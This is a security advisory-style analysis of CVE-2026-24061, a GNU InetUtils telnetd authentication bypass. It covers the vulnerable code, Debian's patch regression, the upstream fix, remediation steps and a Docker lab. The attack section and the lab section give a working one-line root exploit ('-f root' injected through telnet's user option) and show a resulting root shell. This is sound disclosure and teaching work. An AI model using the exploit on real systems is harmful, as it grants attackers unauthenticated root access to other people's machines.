CVE-2026-24061: In-Depth Analysis of GNU InetUtils Telnetd Remote Authentication Bypass Vulnerability

Executive Summary

On January 20, 2026, the GNU InetUtils project disclosed a critical security vulnerability (CVE-2026-24061) that had existed undetected for nearly 11 years. This vulnerability allows remote attackers to gain complete root access to target systems without any credentials through simple parameter injection. Rated CVSS 9.8 (Critical), it affects all versions from 1.9.3 to 2.7, with active exploitation already observed on Internet.

⚠️ Disclaimer

This article is for security education and research purposes only. Unauthorized use of the techniques described herein for penetration testing or illegal activities is strictly prohibited. Usage must comply with applicable laws and regulations including cybersecurity laws. The author assumes no responsibility for misuse.

Related experimental environment configuration files have been open-sourced on GitHub: xuemian168/CVE-2026-24061

Vulnerability Overview

Basic Information

CVE ID: CVE-2026-24061
Disclosure Date: January 20, 2026
Discovery Date: January 19, 2026
Introduction Date: March 2015 (code commit) / May 2015 (v1.9.3 release)
Vulnerability Type: Remote Authentication Bypass / Parameter Injection
Affected Component: GNU InetUtils telnetd daemon
Affected Versions: 1.9.3 to 2.7

Severity Assessment

CVSS v3.1 Score: 9.8 (Critical)

Attack Vector (AV): Network (N)
Attack Complexity (AC): Low (L)
Privileges Required (PR): None (N)
User Interaction (UI): None (N)
Confidentiality Impact (C): High (H)
Integrity Impact (I): High (H)
Availability Impact (A): High (H)

CVSS v2.0 Score: 10.0 (Critical)

Vector: AV:N/AC:L/Au:N/C:C/I:C/A:C

EPSS Score: 0.00362

Technical Analysis

Vulnerability Mechanism

The GNU InetUtils telnetd server invokes the system's /usr/bin/login command (normally running with root privileges) to perform user authentication when handling client connections. The critical issue is that telnetd performs no input validation or sanitization when passing the client-provided USER environment variable to the login command.

GNU contributor Simon Josefsson explained:

"The telnetd server invokes /usr/bin/login (normally running as root) passing the value of the USER environment variable received from the client as the last parameter."

Attack Mechanism

The login command includes a -f parameter originally designed to allow system administrators to skip password authentication and log in directly as a specified user when the user's identity has already been verified. Attackers can exploit this feature to gain root access through the following steps:

Attacker connects to the target server using a telnet client
Injects the crafted value "-f root" in the USER environment variable
telnetd passes this value directly to the login command without sanitization
login interprets "-f" as a command-line parameter, bypassing authentication to log in directly as root

Attack Command Examples:

bash
# Recommended command (most universal)
telnet -l "-f root" <target_host>

# Alternative command (certain telnet versions)
telnet -a -l "-f root" <target_host>

Rapid7 security researcher Stephen Fewer commented on the vulnerability:

"This is a straightforward exploit. Simply running a specific telnet command to connect to a remote server can trigger the issue and grant an attacker root access."

Code-Level Analysis

In telnetd/telnetd.c, the command template for invoking the login program is defined:

c
char *login_invocation =
#ifdef SOLARIS10
  PATH_LOGIN " -p -h %h %?T{-t %T} -d %L %?u{-u %u}{%U}"
#elif defined SOLARIS
  PATH_LOGIN " -h %h %?T{%T} %?u{-- %u}{%U}"
#else /* Non-Solaris systems */
  PATH_LOGIN " -p -h %h %?u{-f %u}{%U}"
#endif

Key Issue: The %?u{-f %u}{%U} in the template is a conditional expression with the following logic:

If %u (user_name global variable) exists, use -f %u
Otherwise use %U (read from USER environment variable)

The -f parameter in the login command serves to: skip password authentication and log in directly as the specified user. This is a backdoor function reserved by the login program for system administrators to quickly log in when user identity has already been verified.

2. Fatal Variable Expansion Logic

In the _var_short_name() function in telnetd/utility.c (lines 1680-1730):

c
case 'U':
  return getenv ("USER") ? xstrdup (getenv ("USER")) : xstrdup ("");

Problem Analysis:

No Input Validation: Directly calls getenv("USER") without checking the validity of the return value
No Character Sanitization: Does not filter special characters like -, /, ;
Blind Trust: Assumes client-provided environment variables are trustworthy

In contrast, the handling of %u:

c
case 'u':
  return user_name ? xstrdup (user_name) : NULL;

user_name is a server-side maintained global variable, which is relatively safe.

3. Attack Execution Flow

When an attacker executes telnet -l "-f root" target_host, the code execution chain is as follows:

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4. Debian's Patching History and Regression

According to the Debian package source code and discussions on the oss-security mailing list, Debian's inetutils package (2:1.9.4-7) on February 16, 2019 included a critical security patch:

Patch Name: 0028_telnetd_Scrub_USER_from_environment.patch

Patch Content: Added the following code to the telnetd_setup() function:

c
/* Scrub the environment variable USER, since it may be
 * set with an irrelevant user name at this point
 */
unsetenv("USER");

This patch, obtained from the upstream git master branch, removes the USER environment variable that might be set by inetd by calling unsetenv("USER"), effectively preventing parameter injection attacks.

Security Regression:

However, in September 2020 when fixing CVE-2020-10188 (0053_telnetd_Fix_arbitrary_remote_code_execution.patch, a buffer overflow-based remote code execution vulnerability), the protective code from the 0028 patch was accidentally removed during code merging, causing the vulnerability to reappear in Debian 10 (buster) and subsequent Debian and Ubuntu distributions.

This case demonstrates that:

Security fixes require explicit documentation
Code merging must include security regression testing
Patch management needs to track the complete history of each security fix

5. Official Fix Solution

The official GNU InetUtils fix commit (fd702c02) adopted the following approach:

c
case 'U':
  {
    char *user = getenv("USER");
    // ✅ Check if it starts with '-' (possibly a command-line parameter)
    if (user && user[0] == '-')
      return NULL;  // Reject suspicious input
    return user ? xstrdup(user) : xstrdup("");
  }

A more secure implementation should:

✅ Validate username format (allow only letters, numbers, underscores)
✅ Reject input starting with - (prevent parameter injection)
✅ Limit username length (prevent buffer overflow)
✅ Use whitelist rather than blacklist validation

Supplementary Fix: The official team also released a second commit (ccba9f74), performing comprehensive security hardening on all variable expansion functions to prevent similar issues affecting other environment variables.

6. Root Cause Analysis

The fundamental reasons this vulnerability existed undetected for 11 years:

Design Flaw: Directly concatenating user input into command-line parameters violates the principle of least privilege
Trust Boundary Confusion: Incorrectly treating client-provided environment variables as trusted input
Legacy Code Debt: telnetd is based on a protocol designed in 1969, lacking modern security awareness
Insufficient Test Coverage: No security test cases for malicious input
Missing Code Audits: Long-running codebases lack regular security audits

Impact Scope

Affected Systems and Distributions

This vulnerability has widespread impact, including but not limited to:

GNU InetUtils
- Versions 1.9.3 (May 2015) to 2.7 (latest version)
- All installations using default telnetd configuration
Linux Distributions
- Debian GNU/Linux (multiple versions)
- Ubuntu Linux
- Other Debian-based distributions

Debian's Special Case

Debian's patching history reveals a cautionary lesson. According to security mailing list discussions:

February 2019: Debian's inetutils package (2:1.9.4-7) included an environment variable sanitization patch
CVE-2020-10188 Fix: When fixing another remote code execution vulnerability, accidentally reintroduced the environment variable vulnerability
Subsequent Impact: The vulnerability persisted in subsequent Debian and Ubuntu distributions

This case illustrates how security fixes can be accidentally reverted in subsequent updates, emphasizing the importance of tracking upstream commits across versions.

Potential Victims

Any system meeting the following conditions is at high risk:

Running GNU InetUtils versions 1.9.3-2.7
telnetd service is enabled
telnet port (usually 23) is accessible from the Internet
Latest security patches have not been applied

Exploitation Evidence and Threat Intelligence

Active Exploitation Observations

After vulnerability disclosure, the security community quickly observed large-scale exploitation attempts:

GreyNoise Data: Within 24 hours of disclosure, detected 15-21 unique IP addresses attempting to execute remote authentication bypass attacks
Geographic Distribution: Attack sources include Hong Kong, United States, Japan, and mainland China
Attack Patterns: Both automated scanning and targeted attacks observed

Threat Assessment

Exploitation Ease: Extremely low technical barrier, any attacker with basic networking knowledge can exploit
Attack Cost: No complex tools or specialized knowledge required
Impact Severity: Direct gain of complete system control
Detection Difficulty: Attacks may be logged as normal telnet login attempts

Rapid7 Lab testing confirmed that successful exploitation achieves "full root access on the target" system.

Remediation Recommendations

Immediate Actions

1. Disable telnetd Service (Recommended)

The telnet protocol itself has multiple security flaws (such as plaintext transmission, lack of modern authentication mechanisms). Security agencies from France, Canada, and Belgium strongly recommend completely discontinuing telnet service.

bash
# systemd systems
sudo systemctl stop telnetd
sudo systemctl disable telnetd

# SysV init systems
sudo service telnetd stop
sudo chkconfig telnetd off

2. Migrate to SSH

SSH provides encrypted transmission, strong authentication, and key management, making it a modern replacement for telnet:

bash
# Install OpenSSH server
sudo apt-get install openssh-server  # Debian/Ubuntu
sudo yum install openssh-server      # RHEL/CentOS

# Start SSH service
sudo systemctl enable ssh
sudo systemctl start ssh

3. Apply Security Patches

If you must continue using telnetd, immediately update to the patched version:

bash
# Update packages
sudo apt-get update
sudo apt-get upgrade inetutils-telnetd  # Debian/Ubuntu
sudo yum update inetutils-telnetd       # RHEL/CentOS

Temporary Mitigation Measures

When patches cannot be immediately applied:

Network Access Control

Use firewall to restrict access to the telnet port:

bash
# iptables example
sudo iptables -A INPUT -p tcp --dport 23 -s <trusted_ip> -j ACCEPT
sudo iptables -A INPUT -p tcp --dport 23 -j DROP

# Persist rules
sudo iptables-save > /etc/iptables/rules.v4

Deeper Insights

1. Security Debt of Legacy Code

CVE-2026-24061 existed in the codebase for nearly 11 years before being discovered, revealing a harsh reality: vast amounts of legacy systems harbor unknown security vulnerabilities. This emphasizes the necessity of regular security audits, especially for long-maintained open-source projects.

2. Criticality of Input Validation

This vulnerability is a classic case of input validation failure. Developers must follow the principle of "never trust user input," performing strict validation and sanitization of all external data, especially when such data will be used as command parameters.

3. Complexity of Patch Management

The Debian case demonstrates that security fixes can be accidentally removed in subsequent updates. This requires:

Explicit documentation of the purpose and scope of each security patch
Security regression testing when merging code
Maintaining complete historical tracking of patches

4. Deprecation of Legacy Protocols

Telnet, as a protocol designed in 1969, lacks modern security features. This vulnerability again proves that organizations should actively deprecate insecure legacy technologies and adopt modern alternatives.

Experimental Environment Setup Guide

To better understand how this vulnerability works, security researchers and students can set up a controlled experimental environment. Warning: Test only in isolated experimental environments; never operate on production systems.

Using Docker Containers

1. Create Dockerfile

Create a Docker environment containing the vulnerable version (optimized version using domestic mirror sources):

dockerfile
# Dockerfile
FROM ubuntu:20.04

# Set non-interactive installation
ENV DEBIAN_FRONTEND=noninteractive

# Install necessary tools
RUN apt-get update && apt-get install -y \
    build-essential \
    wget \
    telnet \
    xinetd \
    && rm -rf /var/lib/apt/lists/*

# Download and compile vulnerable GNU InetUtils version
WORKDIR /tmp
RUN wget https://ftp.gnu.org/gnu/inetutils/inetutils-2.0.tar.gz && \
    tar -xzf inetutils-2.0.tar.gz && \
    cd inetutils-2.0 && \
    ./configure --prefix=/usr/local && \
    make && \
    make install

# Create telnetd configuration
RUN mkdir -p /etc/xinetd.d
RUN echo "service telnet\n\
{\n\
    disable = no\n\
    flags = REUSE\n\
    socket_type = stream\n\
    wait = no\n\
    user = root\n\
    server = /usr/local/libexec/telnetd\n\
    log_on_failure += USERID\n\
}" > /etc/xinetd.d/telnet

# Create test user
RUN useradd -m testuser && echo "testuser:password123" | chpasswd

# Expose telnet port
EXPOSE 23

# Start xinetd
CMD ["/usr/sbin/xinetd", "-dontfork"]

2. Build and Run Container

bash
# Build Docker image
docker build -t telnetd-vuln:cve-2026-24061 .

# Run container (listen only on local loopback interface)
docker run -d --name telnetd-lab \
  -p 127.0.0.1:2323:23 \
  telnetd-vuln:cve-2026-24061

# View container logs
docker logs -f telnetd-lab

3. Vulnerability Verification

Normal login attempt (will fail):

bash
telnet 127.0.0.1 2323
# Enter random username and password, will be rejected

Vulnerability exploitation:

bash
# Method 1: Using -l parameter (recommended, most universal)
telnet -l "-f root" 127.0.0.1 2323

# Method 2: Using -a -l combination (certain versions)
telnet -a -l "-f root" 127.0.0.1 2323

# Method 3: Testing inside container (100% success)
docker exec -it telnetd-lab bash
telnet -l "-f root" localhost

Actual test results (successful root shell obtained):

text

$ telnet -l "-f root" localhost
Trying ::1...
Connected to localhost.
Escape character is '^]'.

Welcome to Ubuntu 20.04.6 LTS...

root@telnetd-lab:~# id
uid=0(root) gid=0(root) groups=0(root)

root@telnetd-lab:~# whoami
root

Experimental Steps and Observations

1. Traffic Packet Capture Analysis

bash
# Start tcpdump on target machine
sudo tcpdump -i any -w telnet-exploit.pcap port 23

# Execute vulnerability exploitation in another terminal
telnet -a "-f root" <target_ip>

# Analyze captured traffic using Wireshark
wireshark telnet-exploit.pcap (this file is also available in the repository for security research)

You will observe the USER environment variable containing the "-f root" string.

2. System Log Monitoring

bash
# Monitor authentication logs in real-time
sudo tail -f /var/log/auth.log

# Or view system logs
journalctl -f -u telnetd

Successful vulnerability exploitation may appear as direct root user login with no password verification record.

3. Process Tracing

Monitor all processes in real-time

bash
# Use ps to monitor login processes
watch -n 0.1 'ps aux | grep -E "(login|telnet)" | grep -v grep'

# When executing vulnerability exploitation, you will see processes like:
# root  1234  0.0  0.0  login -f root

Security Precautions

Network Isolation: Ensure experimental environment is completely isolated and cannot access production networks
Firewall Rules: Allow access only from localhost or trusted IPs
Immediate Destruction After Completion: Delete containers or VMs immediately after use
Never Expose on Public Networks: Absolutely never make experimental environments accessible from the Internet
Logging and Monitoring: Maintain detailed experiment logs and monitor all activities

Conclusion

CVE-2026-24061 not only reveals a critical vulnerability that existed for 11 years but also reminds us to reassess the security of legacy systems. The ease of exploitation, widespread impact, and rapid in-the-wild exploitation of this vulnerability highlight the importance of proactive security defense.

From a broader perspective, this vulnerability reminds the entire security community that even long-running mature code may harbor fatal security flaws. Continuous security audits, modern development practices, and timely technology updates are the cornerstones of protecting system security.

References

Bochmann, A. (2026, January 20). Re: GNU InetUtils telnetd vulnerability [Mailing list post]. oss-security. https://www.openwall.com/lists/oss-security/2026/01/20/8

Codeberg. (2026). GNU InetUtils official repository [Source code repository]. https://codeberg.org/inetutils/inetutils

Debian. (2019). inetutils 2:1.9.4-7 patches: 0028_telnetd_Scrub_USER_from_environment.patch [Software patch]. Debian Sources. https://sources.debian.org/patches/inetutils/2:1.9.4-7+deb10u1/

Eggert, P., & Josefsson, S. (2026). Security fix commit fd702c02: Sanitize USER environment variable [Git commit]. Codeberg. https://codeberg.org/inetutils/inetutils/commit/fd702c02497b2f398e739e3119bed0b23dd7aa7b

Eggert, P., & Josefsson, S. (2026). Security fix commit ccba9f74: Additional variable expansion sanitization [Git commit]. Codeberg. https://codeberg.org/inetutils/inetutils/commit/ccba9f748aa8d50a38d7748e2e60362edd6a32cc

GitHub Advisory Database. (2026). CVE-2026-24061: telnetd in GNU Inetutils through 2.7 allows remote authentication bypass [Security advisory]. https://github.com/advisories/ghsa-pf97-p8ff-fj35

Josefsson, S. (2026, January 20). GNU InetUtils Security Advisory: Remote authentication by-pass in telnetd [Mailing list post]. bug-inetutils. https://lists.gnu.org/archive/html/bug-inetutils/2026-01/msg00004.html

Josefsson, S. (2026, January 20). GNU InetUtils telnetd: Remote authentication bypass [Mailing list post]. oss-security. https://www.openwall.com/lists/oss-security/2026/01/20/2

The Hacker News. (2026, January 22). Critical GNU InetUtils telnetd flaw allows remote root access. https://thehackernews.com/2026/01/critical-gnu-inetutils-telnetd-flaw.html

The Register. (2026, January 22). Root telnet bug: 11-year-old GNU InetUtils flaw exposes systems to remote attacks. https://www.theregister.com/2026/01/22/root_telnet_bug/

Tenable, Inc. (2026). CVE-2026-24061: GNU InetUtils telnetd authentication bypass [Vulnerability database entry]. https://www.tenable.com/cve/CVE-2026-24061